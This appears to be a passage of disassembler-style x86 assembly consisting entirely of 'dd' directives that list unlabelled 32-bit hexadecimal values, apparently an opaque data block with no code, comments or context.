		dd 0E5F199C2h, 21582437h, 2930F577h, 68B9443Ah,	0E330C2Eh
		dd 310B6CBEh, 0B82AE0B7h, 7A688039h, 0DAE3464Eh, 715F0138h
		dd 0FC5F0936h, 0EA5451E9h, 32064DCAh, 0D0F717E6h, 3960B504h
		dd 5C392D02h, 54F8B1Bh,	0A2E88E95h, 0DA58C689h,	0A00C0FABh
		dd 0F569FEB9h, 0D259AFF4h, 0EBC18950h, 41EAF003h, 9FC22F50h
		dd 58E8C935h, 818ED92Bh, 189EBE48h, 0C16E2581h,	126AE8Bh
		dd 1820DDF7h, 2D5812ADh, 3066E110h, 5F17CA9Bh, 0E7032E6Fh
		dd 0B59C4153h, 0EF8BE84h, 8882312Fh, 8209E2B4h,	0C6A2CF5Ch
		dd 15D1A0FCh, 48A80B0Eh, 3DF1D387h, 2754E905h, 4A0A20BDh
		dd 1E7CE4Fh, 0EB815EF3h, 15A1422Dh, 0F7E9FA40h,	0E8F55360h
		dd 283A3507h, 48CA66B2h, 4A8B15C7h, 0EE92987Ch,	4576F0Eh
		dd 0FFF9F701h, 0B25AD7C4h, 98FDD201h, 12A1CD2Ah, 8C65C468h
		dd 212666EEh, 3FA169h, 1B5F1F98h, 27E94B5Bh, 24B8BEDFh
		dd 683C5157h, 4E219352h, 9D4E2A1h, 3C5C76ADh, 7F28BBE9h
		dd 0DB2320A0h, 725525Fh, 0E968D692h, 873A431Eh,	0E4AB64D6h
		dd 200BEBADh, 0A226396Eh, 1328901h, 0E8EF835Eh,	0C60EE781h
		dd 0C033555Ch, 7F7E31CFh, 0B8CEB80Bh, 482D0F99h, 7E9D532Ch
		dd 0E01A5BF0h, 7A20542h, 50D12943h, 0C64DC1A5h,	0CA841542h
		dd 7C640B36h, 4CBAA8A2h, 0EFB47B1Eh, 29919205h,	1D70A460h
		dd 0A052ECEFh, 741F8B91h, 4959278Ch, 7BE9A1C0h,	42033D4h
		dd 2120032Eh, 8E8841AEh, 600D0435h, 0FF407044h,	0B0C75801h
		dd 4D981F3Dh, 1D330C26h, 586D2412h, 0FE28DBF1h,	0FE9DD1F4h
		dd 9D30110Ch, 6B4C903Eh, 0D6C0B860h, 1E073AE5h,	1CDEC2Ah
		dd 5C6C22CBh, 2005EDC1h, 8404798Fh, 0E9313F35h,	29C508B8h
		dd 0C3E8AD4Ch, 249CFEE9h, 30CD9B9h, 38285709h, 97785EAh
		dd 0FAF09402h, 4B444FA4h, 35C89257h, 575859CFh,	292E2EA3h
		dd 7F3707AAh, 0FE7B23C8h, 21305963h, 0C187A641h, 8680B30h
		dd 0BAABBF19h, 300FD970h, 0C45966E8h, 70A22D09h, 1EA7462h
		dd 0C1E18802h, 0D385AB9h, 25EF5D8Dh, 5C52A94h, 20C106E2h
		dd 0FA0D5C26h, 0D537D640h, 2D512A58h, 0B09A5A54h, 80EB0E3Bh
		dd 0F7606CCFh, 5BFA8898h, 2CD30438h, 8F2CD0D0h,	0FF5DA818h
		dd 68407877h, 0E5D74Bh,	71683B49h, 0D0ACEE89h, 0F8E6C127h
		dd 57D206CDh, 144E3023h, 6A0658h, 0A09AABC4h, 0C21AE8E9h
		dd 5C295F5Ch, 5BE7CD8Ch, 0E90F098Bh, 0C3D1FD40h, 1701BF2Ch
		dd 57EFC16h, 4785973Ch,	0CB4DECC3h, 80A4E1C2h, 0D77F7FF1h
		dd 5FA95FABh, 0E05C7462h, 62E04B4Fh, 0E9AA5941h, 0D5A6456h
		dd 0BFD44BA9h, 0A80AD39Bh, 0DC4F422h, 0EDE7F553h, 5EC7680Ah
		dd 0B95160DFh, 2D122FD3h, 6600F73Ah, 0D76B74E1h, 0E9872501h
		dd 1641C502h, 0D295E508h, 0C2800ADFh, 5A13E01Ch, 23DF2DC1h
		dd 0CA288005h, 75790CE0h, 0DA3468BFh, 4D1D2071h, 6215E925h
		dd 5B8F8BCEh, 516B88D1h, 0E9130C90h, 4D0222Dh, 0C0D2A5F6h
		dd 9D9F576Fh, 8598776Eh, 520DE0Ch, 0EA100C62h, 0E9640B78h
		dd 32F64DCDh, 0B72CD4C9h, 313B7040h, 1AB92D29h,	20D93507h
		dd 19BE41E4h, 0D00306F2h, 97589EE9h, 49BF015Ah,	4712420Dh
		dd 0A4C76920h, 31840CD5h, 8A0C5F5Ch, 1DA65505h,	62B0B1E9h
		dd 200C9866h, 1798A549h, 2B64695h, 116D88B9h, 0C2D04158h
		dd 5E9EEB80h, 4719702Ch, 0E72C20Bh, 24CCA521h, 26B78741h
		dd 0F8C086B0h, 0E0C0125Bh, 0E4B60006h, 64E9C9FEh, 0F7CE4297h
		dd 0F0522F19h, 6F92BAC7h, 489523F7h, 59C427C4h,	300560B6h
		dd 1E0CC20Eh, 0F3EE67E9h, 271AECCAh, 0EC407440h, 0ADEE6CC2h
		dd 0E231202Ch, 3F50B637h, 68017DC0h, 0F08D2F9h,	9F2835Fh
		dd 0B9F35D96h, 0F51DAC9h, 0C828862Ch, 0A798269Dh, 39CAB45Bh
		dd 4748D3A8h, 81B120DBh, 0C1EC0B8Fh, 4CE92D01h,	415056ADh
		dd 6EC4922Fh, 0ACAAD88h, 164031FAh, 0FD0C3BA1h,	0A4B49779h
		dd 173067B5h, 1023F221h, 0A24F2A93h, 0D45CB209h, 28A15C5Eh
		dd 59A3299h, 326E5BCBh,	0B03D7F83h, 4DE966F6h, 0B45A5EC0h
		dd 5D3B72C6h, 0F3012DE2h, 0FF0C2048h, 408D4D20h, 11B95BD5h
		dd 3BA0E56Fh, 5F79B8A3h, 0C9225FA6h, 0E3DC17ECh, 3D8EC44Fh
		dd 5B670500h, 0A1B615B8h, 6841BDACh, 0A32C4820h, 236CBBC0h
		dd 50644165h, 4516F7E6h, 91CE7568h, 2E05D096h, 0BE9136C8h
		dd 0BEE8093h, 5A606417h, 862614BDh, 0ED51209Fh,	0A8E15E5Ah
		dd 1F33252Fh, 3F238F58h, 89EA1E19h, 761987DAh, 95566467h
		dd 0CE39EFDBh, 0F80B2F71h, 0F23CE983h, 0B54F8B76h, 70E08512h
		dd 0CB38FD52h, 8405F490h, 0C37E786Ah, 0D5A8064h, 760815F1h
		dd 73D65829h, 0F9FEF84h, 0D01A5387h, 8C288508h,	0F2CD41FBh
		dd 2F1C17E9h, 9C2AE829h, 0AE12B99Ch, 83068810h,	0B20DAAE9h
		dd 94CC976Dh, 0D1F5E19Fh, 0A9FBCCC9h, 0D09758E3h, 418B3A4h
		dd 57F9F766h, 0F2683498h, 4C659D61h, 64B38F12h,	24A2B65Bh
		dd 4FA87001h, 5315240h,	936891C8h, 0C45BE811h, 9916B981h
		dd 73C3602Eh, 0A3CE244Ah, 2C04D25Bh, 97F522h, 0F7481A05h
		dd 735B422Fh, 870E3069h, 6CB59E68h, 325A01C6h, 0E95F22D5h
		dd 7796D4Ah, 7C3DF1E7h,	0C2F66B9Fh, 7474180Ch, 36F4626Fh
		dd 5B042655h, 7B8B10A9h, 667C6F29h, 0AD44801Eh,	94D7AC2Ch
		dd 25ECA14Dh, 0EBAFB1BFh, 934E3B06h, 454AC104h,	0FEC04D25h
		dd 48D32AC5h, 0F13E0641h, 902AB3Dh, 0B1F0E9F9h,	6E699354h
		dd 176FBD81h, 0FAE909B0h, 80309C06h, 51DC6431h,	361EB3BAh
		dd 0F24B26CAh, 456F05Eh, 7C534EEAh, 8100BB34h, 0E979AD47h
		dd 95869A80h, 0E6906314h, 0B7D1E520h, 7466D6E2h, 2DBF2FB9h
		dd 8C0F4C54h, 3133405Bh, 71AF06DDh, 0B25FBA78h,	84CC2D49h
		dd 53A929EFh, 82F4AA4Ch, 0DDF1A19Ch, 0FFB86F42h, 0ABF5E924h
		dd 49E93E28h, 593BD6B7h, 4480510h, 1551F0B9h, 62A00ABh
		dd 293E5842h, 0EB50CB78h, 7968B08h, 7F589F93h, 0DEF3C588h
		dd 0FE20740Dh, 2705B102h, 7D2E4042h, 124A9323h,	498FF024h
		dd 5A50ADBCh, 7EFE2968h, 0CDB58EC0h, 0F8AEE80Ch, 0C7F3A560h
		dd 1E806E21h, 14D70136h, 0E90B08EFh, 97D340DBh,	0FB1FF80Bh
		dd 505542E4h, 14A5440h,	2518C3Fh, 0A56C5ACFh, 0D4207D59h
		dd 311F3530h, 0DBB0D7F0h, 0C7E22F4Fh, 6EBB3581h, 3E9F8E8h
		dd 1AA9662h, 0D4A98BC3h, 4589205h, 0FEC9E428h, 3CD2FE71h
		dd 9500927Fh, 0B0658009h, 0F6127D0Fh, 0FDF16030h, 0C85584EFh
		dd 4E9754Ch, 6AE7363h, 0C5EDF0h, 29376716h, 0E908E5C1h
		dd 4A159E5Eh, 0B3D720h,	5AE95628h, 0AC9C1398h, 9FACF564h
		dd 5C59DCD2h, 0D3E94BCFh, 9F0A0AA4h, 32C5103Eh,	34BBE168h
		dd 4043C264h, 0ADEB062Bh, 0B7B18494h, 20BE45E5h, 924E95CFh
		dd 3C122D54h, 2C689C40h, 6F0E3FB4h, 1AE5E1A6h, 6181C4B5h
		dd 0DD683720h, 0BDCC3A1Bh, 636B6D3h, 9E7BF380h,	3323195Eh
		dd 2321C941h, 680BF267h, 8554581Fh, 5F118B79h, 0CB2801F2h
		dd 1C18B532h, 94DDBF27h, 4E6F4082h, 3C6B0737h, 0C6C8B3BDh
		dd 136FDEC3h, 0A340312Bh, 0EF4C026Ch, 5AD101E8h, 212D02DDh
		dd 42A37ED0h, 0EDB217D3h
		dd 11D40F48h, 0B9726881h, 0E8295816h, 0D04789B1h, 0C094BDB4h
		dd 0B72F8BB0h, 0A185D9ABh, 5759A5C3h, 14E2FB08h, 11F20B8h
		dd 81A112C6h, 0C8DD88A2h, 5B1F59EEh, 0CF56F030h, 7BE6385h
		dd 0D115F2F3h, 42055845h, 3EE5906h, 0B546E91Ah,	0B090774Eh
		dd 35915111h, 0CB6CF7B4h, 0F3E92F55h, 3BBFABF8h, 0B454B558h
		dd 51D71E90h, 500B3F93h, 80812063h, 39287FF4h, 0EBA558E5h
		dd 51648851h, 5D2F97F8h, 0F70851FBh, 0E2531740h, 546880C3h
		dd 0B0E834Dh, 0D7E9965Eh, 6DC488A9h, 68853C9Ch,	1D574145h
		dd 0CAD3161Ch, 939BBD0Eh, 985C4032h, 9793A54Dh,	505B4DCCh
		dd 0AA634A98h, 0E90F7680h, 3AE9AF22h, 292C54F0h, 0ED1D07FDh
		dd 806B1242h, 13207589h, 0AFA75D7h, 50289198h, 2B708B8h
		dd 0A64FC1h, 0A279F381h, 26D84630h, 0F0F6203h, 72D93544h
		dd 44C4338Bh, 927DF198h, 1976CC02h, 60C58927h, 705F57Bh
		dd 4D075333h, 90E58045h, 1A61B95Eh, 4C409A9Ah, 24EB9420h
		dd 926F45E9h, 3CAFA420h, 6AF00B9Fh, 0B606901Eh,	0F0283C69h
		dd 5204744Dh, 0D0DC2BE9h, 3B050DDh, 0CD8F60Fh, 0A73DA466h
		dd 0D9A1C3ECh, 715A0236h, 0B25286E1h, 0DA1E42E2h, 0F183D0F6h
		dd 7304E8C0h, 2C43000Eh, 0E9C1887Bh, 5995D7CEh,	22958958h
		dd 1100065Ah, 255F936Ah, 489866D6h, 35E3B71h, 5ECC088h
		dd 2EB582DFh, 81148461h, 7DB9BF18h, 6E216403h, 58B83A20h
		dd 0AD030A0Bh, 4748CD4Dh, 784C1A04h, 0FD012C13h, 3A8C1839h
		dd 0DD922C12h, 0D6474A19h, 0D48A56Ah, 0F780BF74h, 966817F9h
		dd 0C5EFF91Ch, 5CE89265h, 0AED544D2h, 993BF432h, 9652ED4Fh
		dd 0D601D791h, 2A9B31h,	0D3FB99Bh, 0BB7669CAh, 4AD42E48h
		dd 0DE8925C1h, 0B74D0F30h, 0CA605C92h, 7E82C818h, 545E4CF5h
		dd 604B0F16h, 75AFCB0Ch, 0B94F6F5h, 0EF2907A9h,	0C3012A50h
		dd 9269805h, 0C03158C7h, 70165A40h, 65CA3B81h, 0C41B018h
		dd 0A31F637Bh, 0F2414A1Dh, 530CE221h, 125743Ch,	0C15AF95Eh
		dd 0F2390256h, 84BEB896h, 385A7440h, 95A1BF85h,	47D876Ah
		dd 36CB1E06h, 0A032F14Bh, 0C5124EA4h, 9DC3BDC1h, 91A13362h
		dd 0B2C86FF3h, 0F1EB7D79h, 0AA073F7Ch, 0A672DA31h, 0A231DF33h
		dd 0F45747C7h, 59A1D225h, 0A8CB1EC0h, 53427CB9h, 0C9E6F454h
		dd 688F0C73h, 0A1B3F717h, 5B32B75Ah, 735853B3h,	9C7514E2h
		dd 555A28FEh, 70790AD6h, 2B53BF3h, 51123E53h, 0E956405Dh
		dd 0B62D4F52h, 899D7343h, 201973F7h, 8210EEA8h,	0BF0D4D0h
		dd 0D425DFB6h, 0EF852668h, 0D7D2FAE5h, 8846528h, 0C182D5B8h
		dd 0D79B250Ch, 1758A780h, 0F2EB05B2h, 0BB1C8778h, 97A61F24h
		dd 4D5BDD0Ah, 16A0381Ch, 4053515Ah, 227A176Bh, 0EAD05969h
		dd 0B292E07h, 0E9C88901h, 6A39B157h, 0D4787102h, 8E572928h
		dd 0C5816567h, 0E7B10B10h, 970B93FAh, 0EC6979FAh, 59925CF1h
		dd 0F79B525Eh, 57AAE916h, 2D42FC2Eh, 9274F158h,	177BF266h
		dd 0DD729052h, 0C1212101h, 2F8F3158h, 44EFF1C8h, 95AA630h
		dd 58311724h, 0A0651FE9h, 0F8A5A13Ch, 3C01A064h, 0E97C0AA1h
		dd 72134048h, 0A0BC869Bh, 0F17731ECh, 0EE84BB5Ah, 44B403FDh
		dd 0BDB8D389h, 0D6D00Ah, 6B3C3E55h, 9526BDE9h, 0AB9682C5h
		dd 1CBC5E53h, 171F9FD6h, 9D57B1E9h, 0ED9319F9h,	0C0963D0Eh
		dd 69DD0B25h, 0B9060802h, 8095E86Bh, 5EF0216Fh,	146C25E9h
		dd 8F1F2AE6h, 90A2047h,	0CA033F21h, 0DA75821Ah,	78A58A2h
		dd 9279C505h, 0D41A207h, 522FB151h, 4F15F81Ah, 2C98F6B6h
		dd 9BA56CA4h, 0CD71D9B2h, 873A8825h, 3703929Dh,	0EF6929AEh
		dd 0E9C1507Ch, 6E76A96Fh, 52545112h, 2444EB7Ch,	9D124F4Dh
		dd 0A2F4DB46h, 0A9AD9389h, 25D8F700h, 6C957D53h, 247F0505h
		dd 59BBE4D3h, 0EE9A7F0Bh, 0F1AD8A73h, 32E9E3FBh, 0E3AAF755h
		dd 59664AE4h, 6052681Fh, 564C5FADh, 0F1F9070h, 3CDCB966h
		dd 0A83EAC44h, 635CC1D2h, 0FAE046CAh, 9940975Fh, 3524E943h
		dd 95882B25h, 0EFC1018Eh, 42DFF703h, 0B40311ACh, 3D13B99Fh
		dd 5029203Eh, 0D60F6851h, 0EE6E4D09h, 7BF6B7CCh, 2E2DD95Ah
		dd 2AE9A19Ch, 9DCAC1E0h, 81E89178h, 6FBDF61Eh, 10E6D14Ch
		dd 270A3EC6h, 3E3F01A4h, 0CBC8291Fh, 748EFE2Dh,	0FB7E9B47h
		dd 5789F8C7h, 0B74764BFh, 4ACC0866h, 28E142D8h,	96E36822h
		dd 0BDE34F60h, 53A32646h, 3B8CBBB0h, 0DD6431F4h, 0E9051C6Ch
		dd 0DA06F10Fh, 0ABD516E2h, 5D9F6A20h, 4349D4ABh, 1C722052h
		dd 7AC0DC40h, 0A8073EDh, 44B450E1h, 0A7732CA1h,	4257389Ah
		dd 0E9701047h, 0DD055E2Bh, 4BB32FDh, 347482BBh,	5C5C0282h
		dd 0EE880E84h, 62F0ECEBh, 202614B7h, 5F7CE4DBh,	5048F704h
		dd 0C6AB0F40h, 0C020E877h, 0B1314FB9h, 0D4666241h, 75BFCCE2h
		dd 98F30905h, 1FA8145Dh, 0F70704F1h, 76CFACD6h,	0A9F740E9h
		dd 0FC0908B3h, 0E85EF329h, 0F418D6ACh, 59E91316h, 2268F71Ch
		dd 56F107EEh, 40576529h, 1670EDBEh, 18BF6900h, 310C3F26h
		dd 0B55E73F7h, 0FDC68C85h, 0CE011213h, 38E33F0Bh, 2567B435h
		dd 0F545292h, 5581A6Ch,	6E6FBC25h, 91658447h, 0E8BA0514h
		dd 9A9F49C0h, 0B5667086h, 0CBBF7667h, 2096A6F6h, 18C1687Bh
		dd 25D9FB97h, 68850E6Fh, 31EA11F1h, 14B93944h, 0F70C81ABh
		dd 90CBE4F9h, 5FFB8917h, 32BCFED0h, 0E96A0B91h,	0E973A226h
		dd 5378ACBDh, 0E1285C85h, 0C11E03AAh, 599230C8h, 0C4BEB057h
		dd 1D93BD21h, 72D223C1h, 3C10094h, 29FEBF8Fh, 412DB8CFh
		dd 0FDB701F3h, 0E1B60705h, 0F10126C7h, 783A02BCh, 22F1352Dh
		dd 808D34Bh, 5E12BFE1h,	534C0BFEh, 33E2AB89h, 4919B7Fh
		dd 0FED0050Ch, 49A482A7h, 0BE255A05h, 6750DBE4h, 0B0D59A53h
		dd 0D2E9262Fh, 0D425819Eh, 0BB0CC5F0h, 5B829638h, 98FCAD7h
		dd 0DE3F2968h, 0E5DEC9D6h, 5B6E5452h, 22F58C15h, 0CC91D236h
		dd 1E9335FEh, 610F0FBFh, 1970FA74h, 0C5D0C4Fh, 327AC45Fh
		dd 70A61298h, 0EAE9FB13h, 0F603DEE9h, 42335F56h, 0B8B8C4ECh
		dd 0BC00A5F7h, 708A3525h, 0E1384BE9h, 5A869D3h,	4631C35Dh
		dd 135FD4A8h, 8C58E0A1h, 0F365B260h, 4B2FEE64h,	0E6350434h
		dd 94B2ACEFh, 35D8589Fh, 0E6BC149Ah, 0CE151B2h,	0F8562AB6h
		dd 4617ABACh, 2BC2E4Dh,	0CD0585BAh, 95CE5809h, 28E91142h
		dd 6A026A2Dh, 0D5378F68h, 2A1C6599h, 7766CCh, 250B9D2Fh
		dd 79DC47DBh, 0FBA5202h, 0F707911Fh, 44F0BF8Bh,	2094FAE6h
		dd 66BC958h, 85E9416Ch,	0E2175A3h, 4F90BE75h, 6E05022Dh
		dd 8455DA37h, 1C80CA2Ah, 261F2206h, 9688146h, 0E4F8172Dh
		dd 930A30Dh, 0A4DC1A36h, 0D13A5C54h, 134A2610h,	0B400315Fh
		dd 0AD1FCBEAh, 0B60CC249h, 0FD8B2D58h, 82071DEh, 0F0685013h
		dd 7E16A0F9h, 2846D2B9h, 0A940A353h, 0D636A530h, 7D31F7B2h
		dd 0ECA2AF5Fh, 8F2F6158h, 0A5D60928h, 0ADC5540Bh, 0E93BE8A7h
		dd 0EA8A483Dh, 0D739BB92h, 40297561h, 62D23810h, 0ABAD76Eh
		dd 6686EF70h, 369818C0h, 399C0700h, 6241F581h, 1E765E6Bh
		dd 0FCED40BDh, 89F76544h, 0D788EA64h, 6AF45E1Dh, 3F130AE5h
		dd 1C85CAFh, 0BE7C64EBh, 0ED0C806Eh, 0F74A9F7Ah, 98690D3h
		dd 6C709CF5h, 313682D5h, 0CBF082C1h, 0BCE55559h, 760D0992h
		dd 0CC92B3BDh, 0E5D1B416h, 773B5AFCh, 34CD031Bh, 3B06F91Fh
		dd 0FD04F0C2h, 0D558E917h, 9363F222h, 0FA40DE04h, 184331BAh
		dd 77CE6BFDh, 5C93ED23h
		dd 0F2A1EDACh, 0A8352B5Eh, 65E09C00h, 0BF054126h, 2C231B91h
		dd 0F8F94A11h, 26A685D8h, 0F7F0E9B7h, 0D301ED85h, 97CD85Ah
		dd 3295209Ch, 0ECC44AC2h, 0E9243CFBh, 912295Fh,	0D9B771BFh
		dd 3D343B19h, 0FE298AAh, 0D1021EBEh, 0CC8068E2h, 1BB26D4h
		dd 0E1146451h, 0E4DF324Dh, 4E2C6C8h, 294F7A67h,	0D0C4BC4Ch
		dd 7459260Ch, 88090910h, 10755BF9h, 3B537D30h, 0EF0FF1B7h
		dd 8F3204Bh, 6804D1A3h,	2DD85AC3h, 1AD660EAh, 12373225h
		dd 504B0E7Ah, 4CBD6917h, 388886B7h, 97DD283Bh, 0E429F7Fh
		dd 0A577CB68h, 1CECA7E8h, 18BECD5Bh, 0A69FD3BEh, 974F5CD4h
		dd 86F002D0h, 0F6679C2h, 63E990BBh, 4EE9126h, 0F0255562h
		dd 136948CBh, 87AFC19h,	5E18DA33h, 3E0A87C2h, 0FA1662DEh
		dd 0ED4F9DA4h, 0B6093F74h, 0C7EBD05Bh, 8A94680Fh, 81B765EAh
		dd 8517A8FEh, 725E686Bh, 0CDC01052h, 4B2F4CF4h,	40BE8D32h
		dd 6A15177Dh, 0F1814F01h, 7D4559E3h, 85F0EAA5h,	0C35BD396h
		dd 29DC1784h, 7EC62C89h, 3CADEC53h, 84FBA556h, 0C0ED2D6Fh
		dd 4BE55F28h, 8066240Fh, 0C52B2FE0h, 0F08A114Bh, 675B0D02h
		dd 227F4BDDh, 191DAF4h,	0CCE2C480h, 0E3E0E4ECh,	0B35AE69Fh
		dd 2715AC5Bh, 0EB800AB0h, 0C34DA670h, 0B1B2CCB1h, 0F6875A5Bh
		dd 3FF843F7h, 1806F51h,	2CF02879h, 5AEE91D3h, 1D6406F9h
		dd 12422568h, 0BA8F12F1h, 33CBE7DDh, 0F2EC2B9Bh, 507B0987h
		dd 30096974h, 0CF7542E2h, 8E712514h, 20653A7h, 55AF768Ah
		dd 4014EA57h, 0B7BB2E8h, 0DF8902ADh, 0D1621ED9h, 42997592h
		dd 5284740Ah, 0FE02A8E8h, 0A0F280C2h, 506A6020h, 27E9F4B4h
		dd 0F91A2835h, 2D15B67Fh, 0E8E202E9h, 58507D5Eh, 0C8CFB159h
		dd 2038A614h, 0AF099FBAh, 980C3CD7h, 0B905E59Dh, 867B10F6h
		dd 0AB1A5D2Ch, 91973F0Ch, 8085EC37h, 7A62FDEBh,	97CB013h
		dd 3385493Ah, 56968880h, 82B7F7B4h, 0F9BADA15h,	9FBB017Eh
		dd 8229CA4Fh, 1A0D4B36h, 71970027h, 0A5B047D5h,	109843F8h
		dd 36E6EF78h, 4B9DD7F4h, 1A3812B2h, 894A8160h, 0EACB60DEh
		dd 465CED02h, 7456E911h, 517B2F13h, 5E860D0Bh, 111451F4h
		dd 0D0585FEh, 0ADB3D94Bh, 931D5AE4h, 5C8B207Fh,	76244614h
		dd 77410055h, 0E28102B7h, 0B178F70Ch, 0B31923Fh, 298C2A11h
		dd 0FF545E09h, 20467A27h, 595EA926h, 847A088Dh,	12E9CAB5h
		dd 30B30B68h, 6714484Ch, 68C5ABE6h, 8205D4A9h, 0BB009390h
		dd 0B7E36B7h, 5BDA317Fh, 90A56204h, 326A9DB7h, 247D895h
		dd 151001EEh, 9D88952h,	32C27A4Bh, 97425558h, 5F3B8577h
		dd 0D729A047h, 0B23A88FDh, 0A4AECAF2h, 927879ADh, 2A810BDEh
		dd 0B1F0E5E4h, 7EE3E74Dh, 0A762E5FEh, 514C979Bh, 5B2589D4h
		dd 0FB279365h, 436492F1h, 92C380B0h, 289CAAC1h,	5259449h
		dd 76A68EBh, 409284A0h,	78000437h, 0B353F828h, 4CE380C4h
		dd 620C76C7h, 680ACBFEh, 22DE92Dh, 81535D94h, 0B73CE8FEh
		dd 909E80CAh, 0B044CB65h, 57F70952h, 0AF5F3753h, 122212Eh
		dd 2A8578ADh, 87F16DA6h, 0F31FC507h, 0F4CE1840h, 5968E6AFh
		dd 0C99F4978h, 0B05CA42Ch, 55177F62h, 9027ADE6h, 329FAEFh
		dd 21C10B67h, 80054E5Eh, 0E16DF8ACh, 9448E3E8h,	0AA10F44Ch
		dd 4E158D9h, 221F2199h,	0D0ABF8C7h, 1E4858E7h, 7CF5984h
		dd 0B7277B7h, 823E74C2h, 32A5290h, 437A3F78h, 245ECB04h
		dd 0D0BA5838h, 9895F30Eh, 313BC914h, 79D132BBh,	5AFDDA66h
		dd 0BF96C09Fh, 1E3067FAh, 3E545CB7h, 13664FA7h,	8A50E82Dh
		dd 71250DEFh, 36E16F27h, 21502720h, 31875128h, 0ED0F30DDh
		dd 0ACFD9202h, 5DEE21D5h, 0EF985894h, 6083EC1Ch, 0C927036Dh
		dd 0C6590245h, 27EA21C5h, 0E299026Ch, 960A8809h, 242E84ADh
		dd 2EAAF020h, 0D9F70D27h, 96226004h, 7D772813h,	4EDA4DF0h
		dd 539C6288h, 7F551741h, 7EA3FD16h, 0E8AFE985h,	0F75E3FF4h
		dd 24C5EDB7h, 0C5710BF8h, 94FF956h, 7C3F7860h, 9718FE88h
		dd 0EB25F5D2h, 6B618F5Dh, 0B0B47832h, 58DCBE87h, 0FD5ABAE9h
		dd 0D4180DD1h, 5B35326Eh, 89BC15FDh, 3A58A6E9h,	834C39EAh
		dd 0AF0FC2DFh, 2C4FC9C8h, 203C1BA0h, 0B83F9243h, 218B004Eh
		dd 0BE05D8F7h, 47DE004Ah, 66087F0Dh, 174AE967h,	835F3B02h
		dd 14ABFFC2h, 0B8DDF04h, 89240431h, 14CFD9F0h, 0E5FD39F8h
		dd 7E9FE701h, 415159DAh, 2B422AC8h, 29D6254Bh, 1EE0B8FFh
		dd 0EC8BBA43h, 0C868B7E6h, 353F85BEh, 0BAE1DE05h, 13CD0DAAh
		dd 5F31DFE9h, 2CE28461h, 8316AFA8h, 8A026B28h, 0B243715Ch
		dd 0E9D08056h, 81D5A87Ch, 17FE94F2h, 19F4020h, 0A2B8E9FDh
		dd 0F083F69Ch, 0EAD8D483h, 643C54D1h, 0C104AE31h, 541336B0h
		dd 395AB80Ah, 92466286h, 3A16C608h, 42825496h, 147068AAh
		dd 0F4C34C5Dh, 98734AA2h, 634850C2h, 55F50643h,	0EF8848E2h
		dd 8532276Ah, 0F6B94358h, 8CAC0D5h, 0AD68C482h,	3C180500h
		dd 29112478h, 4BD917BBh, 1DEC5B05h, 0AC98F85Ah,	0A80F4BD9h
		dd 0A849DEFFh, 0A73051ECh, 47085573h, 0FD82744h, 1DC8E05Eh
		dd 0E63EE168h, 5451174Ch, 683C36E3h, 68F133AFh,	0C0786E82h
		dd 7D4D427Dh, 13691106h, 0E90B879Dh, 5D71085h, 2F260405h
		dd 4564BF55h, 56D29895h, 49E92F54h, 50EDC3E8h, 1C640B16h
		dd 0A2C53AA0h, 88717608h, 712FD7F3h, 1F54EBE2h,	57816642h
		dd 0A7843DCEh, 4802C4Ah, 9DE1F65Ch, 6882EDAEh, 9E552E62h
		dd 533D6334h, 0EEB9F729h, 2BD73ABBh, 2698DEE3h,	895880Eh
		dd 0FE349D8Ch, 7614D0BAh, 5140F830h, 0B23838BCh, 0F6D98992h
		dd 35C6055Ah, 13BA7F03h, 880102Ah, 0F448D14Ch, 8C62985h
		dd 0D025FCECh, 0F6DA9262h, 8D0618DCh, 2F7C0C7Fh, 0E6184826h
		dd 0CEA5023Ah, 41CD01F8h, 412A1648h, 22185199h,	0C70B6F27h
		dd 27F25E08h, 1109081Ah, 0F88BE604h, 227D6CCh, 0C916D9C4h
		dd 0C9856369h, 0BED7F150h, 0FFCC9C4Bh, 41860C44h, 5BC93F80h
		dd 0A9AE0EE8h, 15DCE8BAh, 512D80FDh, 441F0B00h,	9D4BF905h
		dd 0A2A19039h, 86D92092h, 0D2C2FED5h, 3827E808h, 25394C58h
		dd 0AC5B6076h, 0FCD84E30h, 8396DF49h, 0C555894Eh, 0D2F8F62Bh
		dd 0F1B3969Fh, 949BAD89h, 0BDE7E65Bh, 70A120BEh, 826B6902h
		dd 0C4A9A7E9h, 30017881h, 0E1433798h, 1B1F338Eh, 77174936h
		dd 765E10C2h, 0FE856FFAh, 92C55DC3h, 68E44220h,	4FAF15CCh
		dd 252D2B01h, 2F457017h, 9CC30180h, 8F6650D7h, 7FBF86A0h
		dd 0D4A11AB5h, 5450848Ah, 0C47DBC58h, 660BA3FDh, 0A0609244h
		dd 5592BA3Fh, 22714C3Eh, 0EFE5200h, 5AD00963h, 53AEDBAh
		dd 7BD60580h, 6D045E9h,	793092B3h, 5525FDCh, 0B8478FD7h
		dd 0B33527A9h, 12462568h, 0C3623954h, 2EFF6C13h, 0AD06DF7Eh
		dd 3F9EF4D0h, 828E82D2h, 2056D87Eh, 5407B1E3h, 5153565Bh
		dd 0C2C8EDA4h, 43A3A68h, 416C3350h, 308D0DE2h, 2F18D9B0h
		dd 0E15A74BCh, 1D62D58h, 4D0B0DD8h, 0FA1DBEE9h,	0F9AD272Ah
		dd 2160BD92h, 18954218h, 80A09A76h, 8FEEB09h, 0B9125F96h
		dd 95496031h, 920B459Ch, 580D981Ch, 0C741DB90h,	48DCA1E9h
		dd 133FB129h, 0F1B9215Fh, 0F6E5A9DAh, 0FC4C312h, 30C687AAh
		dd 529D04D8h, 809BB60Ah, 380CDECEh, 41A2870Dh, 3E01617Eh
		dd 66AF7212h, 0E92440FEh, 0B9801107h, 0B4B5F5Eh, 4FC84801h
		dd 810E902Ch, 0F41968C5h, 6CA4EDEFh, 26643FCCh,	7F127F32h
		dd 68DE78FFh, 933BCD31h
		dd 2F82CFF1h, 0D6F759CEh, 0C0DACB55h, 4F2370ACh, 544BC29h
		dd 6D7778B9h, 3C7605EFh, 0E0A9B52Fh, 650B7F59h,	25BDA89h
		dd 709DE983h, 0EEC0066Ch, 4DEF608h, 380E8981h, 6A137C54h
		dd 0BCC3F488h, 19CCF0B6h, 9FB37953h, 0BE187859h, 0ECC05C06h
		dd 7ECF208h, 58E78877h,	0DDE93128h, 0DEC13901h,	7ECD42C9h
		dd 5259711Ah, 0ACF355D5h, 0E9023364h, 0CCA017FCh, 805966ECh
		dd 28FBEB38h, 0A16F1E3h, 5EC588E9h, 0F5A904FBh,	7314BF66h
		dd 0C4C531DEh, 129001EDh, 2C370E02h, 7264E43h, 24904E8h
		dd 0ECB2AC9Eh, 3D681860h, 0D05CCD39h, 1A31CBDh,	0D44638B9h
